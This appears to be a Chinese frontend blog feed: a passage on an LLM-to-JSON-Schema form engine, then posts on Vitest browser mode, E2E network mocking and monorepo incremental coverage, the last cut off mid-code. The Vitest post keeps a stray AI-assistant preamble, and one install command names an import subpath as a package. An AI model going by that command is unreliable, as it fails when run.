  2. 可干预。中间层可以被二次修改——比如运营想调整字段顺序、覆盖默认组件
  3. 可序列化。UI AST 是纯数据,可以缓存、持久化、跨端复用

这个思路和 Vue 的虚拟 DOM 一模一样——不是直接操作真实 DOM,而是先生成一份描述,再统一渲染。


Schema 解析器:递归下降 + 特征提取

Schema 解析是整个引擎最核心的部分。JSON Schema 支持嵌套、引用($ref)、组合(allOf/oneOf)等复杂特性,你得递归处理:

function parseSchema(
  schema: JSONSchema,
  path: string = '',
  required: string[] = []
): UINode[] {
  const nodes: UINode[] = []

  for (const [key, fieldSchema] of Object.entries(schema.properties || {})) {
    const fieldPath = path ? `${path}.${key}` : key
    const isRequired = required.includes(key)

    // 递归处理嵌套 object
    if (fieldSchema.type === 'object' && fieldSchema.properties) {
      nodes.push({
        id: generateId(),
        component: 'FieldGroup',
        field: fieldPath,
        props: { label: fieldSchema.description || key },
        rules: [],
        // 关键:递归下降,把子字段也解析成 UINode
        children: parseSchema(fieldSchema, fieldPath, fieldSchema.required || []),
      })
      continue
    }

    // 通过注册表解析组件类型
    const resolver = typeRegistry[fieldSchema.type as string]
    const component = resolver?.(fieldSchema) ?? Input

    nodes.push({
      id: generateId(),
      component: component.name,
      field: fieldPath,
      props: extractProps(fieldSchema),   // 从 Schema 约束中提取组件 props
      rules: extractRules(fieldSchema, isRequired), // 约束 → 校验规则
      children: undefined,
    })
  }

  return nodes
}

约束到校验规则的翻译

JSON Schema 的约束(minLengthpatternminimum 等)需要翻译成前端校验规则:

function extractRules(schema: JSONSchema, isRequired: boolean): ValidationRule[] {
  const rules: ValidationRule[] = []

  if (isRequired) {
    rules.push({ type: 'required', message: `${schema.description || '此字段'}不能为空` })
  }

  // minLength / maxLength → 长度校验
  if (schema.minLength) {
    rules.push({ type: 'minLength', value: schema.minLength, message: `至少输入 ${schema.minLength} 个字符` })
  }

  // pattern → 正则校验(LLM 有时会生成正则,需要做安全校验)
  if (schema.pattern) {
    try {
      new RegExp(schema.pattern) // 先验证正则合法性,LLM 给的不一定靠谱
      rules.push({ type: 'pattern', value: schema.pattern, message: '格式不正确' })
    } catch {
      console.warn(`非法正则,已跳过: ${schema.pattern}`) // 防御性编程,别让 LLM 搞崩你
    }
  }

  // enum → 枚举校验
  if (schema.enum) {
    rules.push({ type: 'enum', value: schema.enum, message: '请选择有效选项' })
  }

  return rules
}

注意那个 try/catch——永远不要相信 LLM 生成的正则表达式。它偶尔会给你一个语法错误的正则,甚至一个会导致 ReDoS 的正则。防御性编程不是多余的,是必须的。


运行时渲染:从 UI AST 到真实组件树

有了 UI AST,渲染就是一个递归 render 的过程。以 React 为例:

// 组件注册表:字符串标识 → 真实组件
const componentMap: Record<string, React.ComponentType<any>> = {
  Input, InputNumber, Select, RadioGroup,
  CheckboxGroup, DatePicker, Switch, Textarea,
  Slider, UrlInput, DynamicList, FieldGroup,
}

function DynamicForm({ nodes, value, onChange }: DynamicFormProps) {
  return (
    <Form>
      {nodes.map(node => (
        <DynamicField key={node.id} node={node} value={value} onChange={onChange} />
      ))}
    </Form>
  )
}

function DynamicField({ node, value, onChange }: DynamicFieldProps) {
  const Component = componentMap[node.component]

  if (!Component) {
    // 未注册的组件类型,降级为 Input,别直接崩
    console.warn(`未知组件: ${node.component},降级为 Input`)
    return <Input placeholder="(降级渲染)" />
  }

  // 嵌套节点递归渲染
  if (node.children?.length) {
    return (
      <FieldGroup label={node.props.label}>
        {node.children.map(child => (
          <DynamicField key={child.id} node={child} value={value} onChange={onChange} />
        ))}
      </FieldGroup>
    )
  }

  return (
    <FormItem
      label={node.props.label}
      rules={node.rules}
      field={node.field}
    >
      <Component {...node.props} />
    </FormItem>
  )
}

整个链路跑通了:

自然语言 → LLM → JSON Schema → UI AST → 组件树 → 用户交互 → 提交数据


设计权衡:几个绕不开的选择

1. 组件映射写死还是可配置?

写死最简单,但业务方总会说"这个字段我想用富文本编辑器"。

我们的做法是默认映射 + Schema 扩展字段覆盖

{
  "type": "string",
  "description": "商品详情",
  "x-component": "RichTextEditor",
  "x-component-props": { "height": 300 }
}

x- 前缀是 JSON Schema 的扩展约定,不会影响标准校验。这样 LLM 生成基础 Schema,业务方可以通过配置覆盖组件选择。

2. LLM 直接生成 UI AST 不行吗?

试过,放弃了。原因:

  • LLM 对 UI 组件库的 API 记忆不准确,经常生成错误的 props
  • UI AST 结构变了(比如换组件库),所有 prompt 都得重写
  • JSON Schema 是标准协议,LLM 训练数据里大量存在,生成质量稳定得多

让 LLM 做它擅长的事(生成结构化数据),让前端引擎做它擅长的事(UI 渲染)。 这是最重要的架构决策。

3. Schema 校验要不要在前端做?

必须做。两个层面:

  • 结构校验:LLM 返回的真的是合法 JSON Schema 吗?用 ajv 跑一遍
  • 安全校验:有没有危险的正则?字段数量是否合理(防止 LLM 幻觉生成 200 个字段)?
function validateSchema(schema: JSONSchema): { valid: boolean; errors: string[] } {
  const errors: string[] = []

  // 字段数量限制,LLM 偶尔会疯狂输出
  const fieldCount = Object.keys(schema.properties || {}).length
  if (fieldCount > 30) {
    errors.push(`字段数量 ${fieldCount} 超过上限 30,疑似幻觉输出`)
  }

  // 嵌套深度检查
  const maxDepth = getMaxDepth(schema)
  if (maxDepth > 4) {
    errors.push(`嵌套深度 ${maxDepth} 层,超过上限 4 层`)
  }

  return { valid: errors.length === 0, errors }
}

你不设防线,LLM 迟早给你一个惊喜。


条件渲染:表单的"活"逻辑

真实表单不是所有字段都永远可见的。比如选了"紧急"优先级,才出现"审批人"字段。

JSON Schema 原生支持 if/then/else,但这玩意的语法设计……写到这里我开始怀疑人生:

{
  "if": { "properties": { "priority": { "const": "high" } } },
  "then": { "properties": { "approver": { "type": "string" } } }
}

我们的处理方式是在解析阶段把这类条件提取出来,挂到 UI AST 的 visible 字段上:

// UI AST 中的条件表达式
{
  field: "approver",
  component: "Select",
  visible: {
    operator: "eq",
    dependsOn: "priority",  // 依赖哪个字段
    value: "high"           // 当值等于 "high" 时显示
  }
}

渲染时用一个简单的条件判断:

function shouldShow(node: UINode, formValues: Record<string, any>): boolean {
  if (!node.visible) return true // 没有条件,永远显示

  const { dependsOn, operator, value } = node.visible
  const current = get(formValues, dependsOn) // lodash.get 取嵌套值

  switch (operator) {
    case 'eq': return current === value
    case 'in': return (value as any[]).includes(current)
    case 'ne': return current !== value
    default: return true
  }
}

可扩展性:当需求开始膨胀

第一版做完,需求就开始野蛮生长了:

"能不能支持自定义组件?" —— 可以,往 componentMap 里注册就行。

"能不能支持布局控制?一行两列?" —— 在 UI AST 加 layout 字段,引入栅格系统。

"能不能多个 LLM 调用串联,一个表单的结果作为下一个表单的输入?" —— 这就不是表单引擎的事了,你需要一个工作流编排层。

架构上我们把引擎拆成了三层,每层可独立替换:

┌─────────────────────────────────────────┐
│  Schema Provider(LLM / 手写 / 远程)    │  ← 数据来源可替换
├─────────────────────────────────────────┤
│  Schema → UI AST 编译器                  │  ← 映射规则可扩展
├─────────────────────────────────────────┤
│  UI AST → Component Renderer            │  ← 组件库可替换
└─────────────────────────────────────────┘

换组件库?只改 Renderer 层。换 LLM 提供商?只改 Provider 层。这不是过度设计,这是被需求变更教育后的防御姿态。


踩坑实录

坑 1:LLM 返回的 Schema 不一定合法。 type 拼错、enum 给了空数组、required 里写了不存在的字段——都遇到过。解析前必须做 normalize。

坑 2:数组类型的表单状态管理很痛。 用户动态添加/删除数组项时,field path 会变(items.0.name → 删掉第一个后变成 items.0.name 但指向了原来的第二项)。用 id 而不是 index 做 key,这是老生常谈但每次都有人踩。

坑 3:流式响应下的 Schema 解析。 如果 LLM 用流式返回 JSON Schema,你拿到的是不完整的 JSON。要么等流结束再解析,要么用增量 JSON 解析器(如 partial-json)。我们选了前者——复杂度不值得。

坑 4:description 字段的双重身份。 JSON Schema 的 description 本意是给开发者看的字段说明,但在表单场景下它变成了给用户看的 label。LLM 有时会在 description 里写"This field represents the..."这种开发者语言。解决方案:在 prompt 里明确告诉 LLM,description 要写中文、面向用户。


通用模型:这个问题的本质是什么

退一步看,这整个引擎做的事情可以抽象为一个通用模型:

声明式描述 → 中间表示 → 运行时实例化

这个模式到处都是:

  • SQL Schema → ORM Model → 数据库表
  • OpenAPI Spec → API Client → HTTP 请求
  • Figma Design Token → Theme Config → UI 样式
  • JSON Schema → UI AST → 表单组件

核心思想就一个:用数据描述意图,用引擎翻译成行为。当你下次遇到"需要从某种描述自动生成某种 UI"的需求时,先别急着写代码,先想想:中间表示层应该长什么样?映射规则的扩展点在哪里?哪些决策应该留给引擎,哪些应该留给使用者?

把这三个问题想清楚,架构就不会跑偏。

至于 LLM——它只是这条链路上一个新的数据源。它很强,但它不可靠。 你的引擎需要对它的输出做校验、降级、容错。就像你不会信任用户输入一样,也别信任 AI 输出。

Vitest 浏览器模式:别再用 jsdom 骗自己了

2026年3月9日 15:39

好的,我基于对 Vitest 浏览器模式的深入了解来写这篇文章。

Vitest 浏览器模式:别再用 jsdom 骗自己了

上周 code review 的时候,同事写了个组件测试,断言一个 tooltip 的定位是否正确。测试绿了,CI 也过了。结果上线后 tooltip 飞到了页面左上角。

原因很简单:jsdom 里 getBoundingClientRect() 永远返回全零。测试通过,只是因为你断言的对象压根不存在。

这事让我下定决心把组件测试迁到 Vitest 的浏览器模式。折腾了两周,踩了不少坑,这篇聊聊实际的迁移过程和关键决策。

jsdom 到底假在哪

先说清楚:jsdom 不是不能用,大量纯逻辑的测试它完全够了。但一旦涉及这些场景,它就开始"演"了:

// 在 jsdom 里跑这段
const el = document.createElement('div')
document.body.appendChild(el)
el.style.width = '200px'

console.log(el.getBoundingClientRect())
// → { x: 0, y: 0, width: 0, height: 0, ... }
// 全是零,因为 jsdom 根本没有布局引擎

console.log(getComputedStyle(el).width)
// → '200px'  ← 这个倒是能拿到,但只是字符串解析,不是真正计算的

还有一些更隐蔽的坑:

  • IntersectionObserverResizeObserver 不存在,得手动 mock
  • CSS 媒体查询不生效,matchMedia 返回的永远是你 mock 的值
  • focus()blur() 的行为和真实浏览器不一样
  • Canvas、WebGL 相关 API 全部缺失

你 mock 得越多,测试就越像在测你的 mock 而不是测你的组件。

Vitest 浏览器模式是什么

Vitest 从 1.x 开始提供了 browser 模式(2.x 起趋于稳定)。核心思路很直接:测试代码直接跑在真实浏览器里,而不是 Node.js + jsdom 的模拟环境。

它的架构大概是这样:

Vitest (Node.js 侧)
  ├── 启动浏览器实例(通过 Provider)
  ├── 把测试文件打包,注入浏览器页面
  ├── 测试在浏览器里执行
  └── 结果回传到 Node.js 侧汇总

Provider 目前支持三个:playwrightwebdriveriopreview。我选了 Playwright,原因后面说。

搭起来

安装:

# vitest 本体 + 浏览器模块 + playwright provider
pnpm add -D vitest @vitest/browser playwright

配置 vitest.config.ts

import { defineConfig } from 'vitest/config'

export default defineConfig({
  test: {
    browser: {
      enabled: true,
      provider: 'playwright',
      // 用 chromium 就够了,没必要三个都开
      instances: [
        { browser: 'chromium' },
      ],
    },
  },
})

跑一个最基础的测试验证环境:

// src/__tests__/sanity.test.ts
import { expect, test } from 'vitest'

test('真实浏览器环境验证', () => {
  const div = document.createElement('div')
  div.style.width = '100px'
  div.style.height = '50px'
  div.style.position = 'absolute'
  document.body.appendChild(div)

  const rect = div.getBoundingClientRect()
  // 在 jsdom 里这俩是 0,在真实浏览器里是正确值
  expect(rect.width).toBe(100)
  expect(rect.height).toBe(50)

  div.remove()
})

如果这个测试过了,环境就没问题。

为什么选 Playwright 而不是 WebDriverIO

这个选择其实没啥悬念:

  • Playwright 是 Chromium 内核直连,启动快、API 丰富、调试体验好。Vitest 团队自己也在推这个方向。
  • WebDriverIO 走的是 WebDriver 协议,多一层通信开销,在纯单元测试场景下没什么优势。
  • preview 模式跑在 iframe 里,没有真正隔离,不支持多浏览器。适合快速预览,不适合正经测试。

我在两个项目里分别试过 Playwright 和 WebDriverIO,前者在 200 个组件测试的场景下快了大概 40%。冷启动差距更明显。

组件测试怎么写

如果你用 React 或 Vue,需要装对应的渲染器。以 React 为例:

pnpm add -D @vitest/browser/context

Vitest 浏览器模式提供了一套内置的交互 API,不需要再装 @testing-library/user-event

// components/Counter.test.tsx
import { render } from 'vitest-browser-react' // React 用这个
import { expect, test } from 'vitest'
import { page } from '@vitest/browser/context'
import Counter from './Counter'

test('点击按钮后计数器加 1', async () => {
  render(<Counter initialCount={0} />)

  // page.getByRole 返回的是 Locator,跟 Playwright 的体验很像
  const button = page.getByRole('button', { name: '加一' })
  const display = page.getByTestId('count-display')

  await expect.element(display).toHaveTextContent('0')

  await button.click() // 真实的 click,不是 fireEvent 模拟的

  await expect.element(display).toHaveTextContent('1')
})

几个关键差异点:

// ❌ testing-library 风格(jsdom 时代)
// fireEvent.click(button) → 同步的,合成事件
// screen.getByText('xxx')  → 返回 DOM 元素

// ✅ vitest browser 风格
// await button.click()          → 异步的,真实浏览器事件
// page.getByRole(...)           → 返回 Locator,惰性求值
// await expect.element(el)      → 专用的元素断言,自带重试

注意那个 expect.element(),这东西自带 retry 机制,等元素出现再断言。不用自己写 waitFor 了。

处理样式和布局相关的测试

这才是浏览器模式真正值回票价的地方。

// 测试 Tooltip 定位 —— 这在 jsdom 里根本没法测
import { render } from 'vitest-browser-react'
import { page } from '@vitest/browser/context'
import Tooltip from './Tooltip'

test('tooltip 出现在触发元素的下方', async () => {
  render(
    <div style={{ paddingTop: '100px' }}>
      <Tooltip content="提示文字">
        <button>hover me</button>
      </Tooltip>
    </div>
  )

  const trigger = page.getByRole('button', { name: 'hover me' })
  await trigger.hover() // 真实的 hover,CSS :hover 伪类也会生效

  const tooltip = page.getByRole('tooltip')
  await expect.element(tooltip).toBeVisible()

  // 拿到真实的位置信息
  const triggerEl = trigger.element()
  const tooltipEl = tooltip.element()
  const triggerRect = triggerEl.getBoundingClientRect()
  const tooltipRect = tooltipEl.getBoundingClientRect()

  // tooltip 的顶部应该在 trigger 的底部附近
  expect(tooltipRect.top).toBeGreaterThanOrEqual(triggerRect.bottom)
})

类似的,CSS 动画测试、媒体查询响应式测试、滚动行为测试——这些之前要么 mock 一堆要么直接放弃的场景,现在都能正经测了。

和现有 jsdom 测试共存

大概率你不会一次性迁移所有测试。好消息是,Vitest 支持同一个项目里两套测试环境共存:

// vitest.config.ts
import { defineConfig } from 'vitest/config'

export default defineConfig({
  test: {
    // 默认还是用 jsdom 跑(存量测试不受影响)
    environment: 'jsdom',

    browser: {
      enabled: true,
      provider: 'playwright',
      instances: [
        { browser: 'chromium' },
      ],
    },
  },
})

然后通过文件命名或目录来区分:

src/
  __tests__/
    utils.test.ts          ← 纯逻辑,jsdom 跑
  __browser_tests__/
    Tooltip.browser.test.tsx  ← 涉及布局,浏览器模式跑

在 Vitest workspace 配置里分别指定就行。我个人倾向于用 xxx.browser.test.ts 这种命名来区分,比放不同目录直观。

性能:绕不开的话题

实话说,浏览器模式比 jsdom 慢。启动一个 Chromium 实例是有代价的。

我在一个中型项目(约 150 个组件测试)里的实际数据:

指标 jsdom Browser (Playwright)
冷启动 ~2s ~5s
单个测试平均 ~50ms ~120ms
全量跑完 ~12s ~28s
CI 环境 ~18s ~45s

慢了一倍多。但这不是不能接受,尤其考虑到测试的可信度提升了一个量级。

几个优化手段:

// 1. 复用浏览器实例(默认行为,确认没关掉就行)
// vitest.config.ts
{
  test: {
    browser: {
      // headless 模式在 CI 里快不少
      headless: true, // 默认就是 true,确认一下
    },
  },
}
// 2. 不需要每个测试都用浏览器模式
// 纯逻辑的单元测试继续用 jsdom,只有涉及 DOM 交互/布局的用浏览器

// 3. 并行度调整
// Playwright 的 chromium 实例比较吃内存,CI 机器配置不够的话可能要降并行数
{
  test: {
    browser: {
      // 如果 CI 内存不够,适当降低
    },
    fileParallelism: true, // 文件级别并行
  },
}

调试体验

这是我没预料到的一个加分项。

vitest --browser 启动后会开一个调试页面,能直接在浏览器里看到测试的渲染结果。组件测试失败的时候,你可以打开 DevTools 直接审查 DOM,看看是布局问题还是逻辑问题。

比起 jsdom 模式下对着一堆 prettyDOM() 输出猜问题,体验好太多了。

# 开发时用 headed 模式,能看到实际渲染
npx vitest --browser.headless=false

之前有个 Dialog 组件的测试,在 jsdom 下一直报 focus 不符合预期。切到浏览器模式后,打开 DevTools 一看,原来是 tabindex 设错了,焦点根本没有落到目标元素上。这种问题在 jsdom 里是发现不了的,因为 jsdom 的 focus 模型本身就是简化过的。

几个坑

1. 全局变量要小心

浏览器模式下 windowdocument 是真实的,但 Vitest 的一些 API(比如 vi.mock)还是跑在一个特殊的上下文里。模块级别的 mock 有些情况会有问题,遇到了就看报错信息排查,多数是执行时序导致的。

2. 文件系统 API 不可用

测试跑在浏览器里,fspath 这些 Node.js API 用不了。如果你的组件测试辅助函数依赖了 Node 模块,需要拆分。

3. CSS 文件的处理

浏览器模式下 CSS 是真正被加载和应用的(而不是像 jsdom 那样被忽略或 mock),所以如果你的组件依赖全局样式,确保在测试环境里也能加载到。可以在 vitest.setup.ts 里 import 全局样式文件。

// vitest.setup.ts
import './src/styles/global.css'
// 浏览器模式下这个 import 会真正生效

4. CI 环境配置

GitHub Actions 里要装浏览器依赖:

# .github/workflows/test.yml
- name: Install Playwright browsers
  run: npx playwright install --with-deps chromium
  # 只装 chromium 就行,装全套太慢了

什么时候该用,什么时候没必要

并不是所有测试都得迁到浏览器模式。我的判断标准:

用浏览器模式:

  • 组件测试涉及布局、定位、滚动
  • 测试依赖 CSS 生效(比如 display: none 的可见性判断)
  • 测试涉及焦点管理、键盘导航
  • 测试用到了 Canvas、IntersectionObserver 等浏览器专有 API
  • 你在 jsdom 里 mock 了超过 3 个浏览器 API —— 这是个信号

继续用 jsdom:

  • 纯逻辑的 hooks 测试
  • 状态管理相关的单元测试
  • 简单的渲染快照测试
  • 不涉及任何浏览器特有行为的组件

两者不是替代关系,是互补的。

聊到这

Vitest 浏览器模式解决的核心问题就一个:让你的组件测试跑在跟用户一样的环境里

jsdom 用了这么多年,大家都习惯了"mock 一下就好"的心态。但 mock 多了以后,你测的到底是组件逻辑还是 mock 的正确性,有时候真说不清。

迁移成本确实有,速度也确实慢一些。但对于组件库、UI 密集型项目,或者你已经被 jsdom 的各种 mock 搞得头疼的场景,值得试试。

对了,Vitest 的浏览器模式 API 还在演进中,有些边界行为可能后续版本会调整。建议跟着 Vitest 的 release notes 走,别锁太老的版本。

E2E 测试里的网络层,到底该怎么 Mock?

2026年3月9日 11:09

E2E 测试里的网络层,到底该怎么 Mock?

上周 code review,一个同事的 E2E 测试挂了。原因挺离谱——后端灰度发布改了个字段名,userName 变成了 user_name,测试直接炸了。

他用的是 Playwright 的 route 拦截,mock 数据是手写的 JSON,跟真实接口早就对不上了。

这不是个例。E2E 测试的网络层处理,一直是个让人头疼的事。手写 mock 维护成本高,不 mock 又依赖后端环境,用 HAR 录制吧,录完的文件大得吓人。

三种主流方案摆在面前:Playwright 原生的请求拦截、HAR 录制回放、Mock Service Worker(MSW)。各有各的脾气,各有各的坑。

Playwright route:简单粗暴,但够用吗?

Playwright 自带的 page.route() 是最直接的方案。拦截请求,返回假数据,完事。

// 拦截用户列表接口,直接返回写死的数据
await page.route('**/api/users', async (route) => {
  await route.fulfill({
    status: 200,
    contentType: 'application/json',
    body: JSON.stringify({
      users: [
        { id: 1, name: '张三' },
        { id: 2, name: '李四' },
      ],
    }),
  })
})

await page.goto('/dashboard')
// 页面拿到的永远是这俩人,不依赖后端
await expect(page.getByText('张三')).toBeVisible()

够直观。但问题也很直观——mock 数据写死在测试文件里,接口一改就得跟着改。

它还有个容易忽略的能力:断言请求本身

const requestPromise = page.waitForRequest('**/api/orders')

await page.getByRole('button', { name: '提交订单' }).click()

const request = await requestPromise
const body = request.postDataJSON()

// 验证前端提交的数据结构对不对
expect(body.items).toHaveLength(2)
expect(body.couponCode).toBe('SAVE20') // 优惠券有没有带上

这招在表单提交、搜索筛选这类场景特别好使。不光验证 UI 展示对不对,还能验证前端发出去的请求对不对。

适合的场景:测试用例少、接口稳定、mock 逻辑简单。十几个测试文件以内,手写 route 完全 hold 得住。

超过这个量级,你会发现自己在无数个测试文件里复制粘贴同一坨 mock 数据。

HAR 录制回放:听起来美好

Playwright 支持把真实的网络请求录下来,存成 HAR 文件,跑测试时回放。

// 录制阶段:跑一遍真实流程,把所有请求响应存下来
test('录制用户流程', async ({ page }) => {
  await page.routeFromHAR('tests/fixtures/user-flow.har', {
    update: true, // update: true → 录制模式,跑真实请求并保存
  })

  await page.goto('/dashboard')
  await page.getByRole('link', { name: '订单' }).click()
  // ...正常操作,所有网络请求都会被记录到 har 文件
})

录完之后,把 update: true 去掉,测试就变成回放模式:

test('回放用户流程', async ({ page }) => {
  // 不带 update → 回放模式,请求直接从 har 文件里取响应
  await page.routeFromHAR('tests/fixtures/user-flow.har')

  await page.goto('/dashboard')
  await expect(page.getByText('订单列表')).toBeVisible()
})

看起来很完美对吧?录一遍,后面就不用管了。

现实是:HAR 文件动不动几 MB。一个中等复杂度的页面,录下来的 HAR 里混着各种静态资源、埋点请求、第三方 SDK 的调用。你想 review 一下 mock 数据长啥样?祝你好运。

还有个更实际的问题——后端数据变了怎么办?重新录。录完发现某个接口需要登录态,之前的 cookie 过期了,再来一遍。CI 环境跟本地环境的请求顺序不一样,回放匹配不上,又挂了。

我之前在一个项目里试过全量 HAR 录制。三个月后,团队里没人敢动那些 .har 文件,因为不知道改了哪里会影响哪个测试。最后还是回到了手写 mock。

HAR 真正好用的场景:接口特别多、数据结构复杂、但接口本身很少变。比如对接一个稳定的第三方支付回调,录一遍省得手写那一大堆字段。

另外一个技巧是部分录制——只对特定接口用 HAR,其他的还是手写:

// 只录制订单相关的接口,其他接口手动 mock
await page.routeFromHAR('tests/fixtures/orders.har', {
  url: '**/api/orders/**', // 限定范围,别什么都录
})

// 用户信息还是手写,因为经常变
await page.route('**/api/user/profile', async (route) => {
  await route.fulfill({
    body: JSON.stringify({ name: '测试用户', role: 'admin' }),
  })
})

这样 HAR 文件小、范围可控,出问题也好排查。

MSW:在 Service Worker 层拦截

Mock Service Worker 的思路不一样。它不在测试框架层拦截,而是在浏览器的 Service Worker 层拦截请求。

// handlers.ts —— 集中定义所有 mock 规则
import { http, HttpResponse } from 'msw'

export const handlers = [
  http.get('/api/users', () => {
    return HttpResponse.json({
      users: [
        { id: 1, name: '张三' },
        { id: 2, name: '李四' },
      ],
    })
  }),

  http.post('/api/orders', async ({ request }) => {
    const body = await request.json()
    // 模拟业务逻辑:库存不够就返回错误
    if (body.quantity > 100) {
      return HttpResponse.json(
        { error: '库存不足' },
        { status: 400 }
      )
    }
    return HttpResponse.json({ orderId: 'ORD-001' })
  }),
]

MSW 最大的卖点是跨环境复用。同一套 handlers,开发时用、单元测试用、E2E 测试也能用。

在 Playwright 里集成 MSW,通常的做法是在页面加载前注入 Service Worker:

// playwright 里用 msw,需要在页面上下文中启动
test.beforeEach(async ({ page }) => {
  // 确保 mockServiceWorker.js 已经放到 public 目录
  await page.goto('/')
  await page.evaluate(async () => {
    const { worker } = await import('/src/mocks/browser')
    await worker.start({ onUnhandledRequest: 'bypass' })
  })
})

但说实话,MSW 在 E2E 场景下的集成体验并不丝滑。

几个实际问题

Service Worker 注册是异步的,有时候页面请求已经发出去了,Worker 还没准备好。你得处理时序问题。

另外,MSW 拦截的是浏览器端发出的请求,如果你的应用有 SSR,服务端发出的请求它拦不到。这时候得同时用 setupServer(Node 端)和 setupWorker(浏览器端),配置翻倍。

还有一个坑——Playwright 的 page.route() 和 MSW 同时存在时,谁先谁后?Playwright 的拦截在网络层更靠前,会先于 Service Worker 生效。如果你同时用了两者,可能出现"我明明在 MSW 里改了 mock,怎么没生效"的情况。

三种方案怎么选?

不搞复杂的表格了,直接说结论。

小项目、接口少 → Playwright route 就够了。手写 mock,简单直接,不用引入额外依赖。把常用的 mock 提成工具函数,复用一下就行。

// utils/mock-helpers.ts
export async function mockUserAPI(page: Page, userData?: Partial<User>) {
  await page.route('**/api/user/profile', (route) =>
    route.fulfill({
      body: JSON.stringify({
        id: 1,
        name: '默认用户',
        role: 'viewer',
        ...userData, // 允许每个测试覆盖部分字段
      }),
    })
  )
}

// 测试里一行搞定
test('管理员看到删除按钮', async ({ page }) => {
  await mockUserAPI(page, { role: 'admin' })
  await page.goto('/settings')
  await expect(page.getByRole('button', { name: '删除' })).toBeVisible()
})

接口多但稳定、数据结构复杂 → HAR 录制回放,配合 url 过滤只录关键接口。

前后端并行开发、mock 要跨单元测试和 E2E 复用 → MSW。前期投入大一些,但 mock 规则统一管理的好处会随项目规模放大。

还有一种我个人比较喜欢的组合:MSW 管常规 mock,Playwright route 管特殊场景

// MSW 兜底处理所有常规接口(在 beforeEach 里启动)
// 但某个测试要模拟网络超时?用 Playwright route 覆盖

test('接口超时展示兜底 UI', async ({ page }) => {
  // Playwright route 优先级高于 MSW,这里直接覆盖
  await page.route('**/api/dashboard', (route) => route.abort('timedout'))

  await page.goto('/dashboard')
  await expect(page.getByText('加载失败,请重试')).toBeVisible()
})

这样常规的 happy path 用 MSW 统一管理,异常场景用 Playwright 在测试级别单独处理。各干各的活,互不打架。

一个容易忽略的事:请求断言

不管用哪种方案 mock 响应,请求断言都值得单独拎出来说。

很多人写 E2E 测试只验证页面展示:点了按钮 → 出现了成功提示。但中间那一步——前端到底发了什么请求——没人管。

test('筛选条件正确传递到接口', async ({ page }) => {
  await page.route('**/api/products*', (route) => {
    route.fulfill({ body: JSON.stringify({ products: [] }) })
  })

  await page.goto('/products')
  await page.getByLabel('分类').selectOption('electronics')
  await page.getByLabel('价格区间').fill('100-500')

  const [request] = await Promise.all([
    page.waitForRequest((req) =>
      req.url().includes('/api/products') && req.method() === 'GET'
    ),
    page.getByRole('button', { name: '搜索' }).click(),
  ])

  const url = new URL(request.url())
  expect(url.searchParams.get('category')).toBe('electronics')
  expect(url.searchParams.get('priceMin')).toBe('100')
  expect(url.searchParams.get('priceMax')).toBe('500')
  // 前端有没有正确拼参数?这里一目了然
})

之前碰到一个 bug:页面上筛选条件选了,展示也对,但实际发出去的请求少带了一个参数。用户看到的是全量数据,以为筛选生效了,其实没有。如果当时测试里加了请求断言,早就能发现。

几个踩过的坑

1. mock 和真实请求混着来

有时候你 mock 了 A 接口,但 B 接口没 mock,B 依赖真实后端。结果 CI 环境连不上后端,B 接口超时,整个测试挂了。

要么全 mock,要么明确哪些接口走真实的、确保 CI 环境能访问。别搞半吊子。

2. HAR 里的时间戳

HAR 文件里录下来的响应可能带时间戳字段,比如 createdAt: "2025-01-15T10:30:00Z"。测试里如果断言"显示今天的订单",过两天就挂了。

3. MSW 的 onUnhandledRequest

默认行为是 warn——没被 mock 的请求会打 warning 但正常放行。建议 E2E 里设成 error,这样漏掉的接口直接报错,别让它悄悄走真实请求。

await worker.start({
  onUnhandledRequest: 'error', // 宁可报错,也别悄悄放行
})

聊到这

网络层 mock 这事没有银弹。三种方案本质上是在控制粒度维护成本之间做取舍。

Playwright route 控制粒度最细,但维护成本跟测试数量线性增长。HAR 录制最省事,但黑盒程度高,出问题不好排查。MSW 在复用性上赢了,但引入了 Service Worker 这层额外的复杂度。

我现在的做法是:新项目先用 Playwright route 把核心流程的 E2E 跑起来,等接口稳定了、测试多了,再考虑抽 MSW。HAR 只在对接第三方、字段特别多的时候用一用。

至于哪种方案"最好"——取决于你的团队愿意在测试基建上投入多少。能把 mock 维护住、CI 跑得稳,用哪个都行。

Vitest 自定义 Reporter 与覆盖率卡口:在 Monorepo 里搞增量覆盖率检测

2026年3月9日 11:09

Vitest 自定义 Reporter 与覆盖率卡口:在 Monorepo 里搞增量覆盖率检测

上周 CR 的时候,有个同事提了一行改动,改了个工具函数的边界判断。测试没加。CI 绿了。合了。

然后线上炸了。

回头看,项目覆盖率 82%,达标。但那个被改的函数,覆盖率是 0。全局覆盖率这个指标,在这种场景下约等于摆设——你改了 10 行代码,只要剩下几万行覆盖率够高,这 10 行裸奔也能过。

所以问题很明确:怎么只卡「本次改动」的覆盖率?

再加上项目是 Monorepo,十几个包,每次 CI 全量跑测试要七八分钟。能不能只跑受影响的包?

这篇就聊这两件事:增量覆盖率检测,和 Monorepo 下的测试编排。都基于 Vitest。

先搞清楚 Vitest 覆盖率是怎么收集的

Vitest 支持两个覆盖率 provider:istanbulv8

istanbul 是老方案,靠代码插桩——在你源码里塞计数器,跑一遍之后统计哪些行被执行了。好处是准,坏处是慢,而且插桩后的代码跟源码对不上,调试体验差。

v8 走的是 V8 引擎内置的覆盖率收集能力,不需要插桩。快,而且对 sourcemap 支持更好。Vitest 默认推荐 v8

配置很简单:

// vitest.config.ts
import { defineConfig } from 'vitest/config'

export default defineConfig({
  test: {
    coverage: {
      provider: 'v8',
      reporter: ['text', 'json', 'html'],
      // 全局阈值——但这不是今天的重点
      thresholds: {
        branches: 80,
        functions: 80,
        lines: 80,
        statements: 80,
      },
    },
  },
})

thresholds 这个配置,卡的是全局覆盖率。整个项目达标就过,不管你这次改了啥。聊胜于无。

增量覆盖率的思路

核心逻辑其实就三步:

  1. 拿到本次改动的文件列表和行号(git diff
  2. 拿到覆盖率报告里每个文件的行覆盖数据
  3. 交叉比对:改动的行里,有多少被测试覆盖了?

听着不复杂。但细节全在实现里。

先解决第一步,拿 diff:

// scripts/get-changed-lines.ts
import { execSync } from 'child_process'

interface ChangedLines {
  [filePath: string]: number[] // 文件路径 → 改动的行号数组
}

export function getChangedLines(baseBranch = 'main'): ChangedLines {
  // -U0:不要上下文行,只要真正改动的行
  const diff = execSync(`git diff ${baseBranch} --unified=0 --diff-filter=ACMR`)
    .toString()

  const result: ChangedLines = {}
  let currentFile = ''

  for (const line of diff.split('\n')) {
    // 匹配文件路径
    if (line.startsWith('+++ b/')) {
      currentFile = line.slice(6)
      result[currentFile] = []
    }
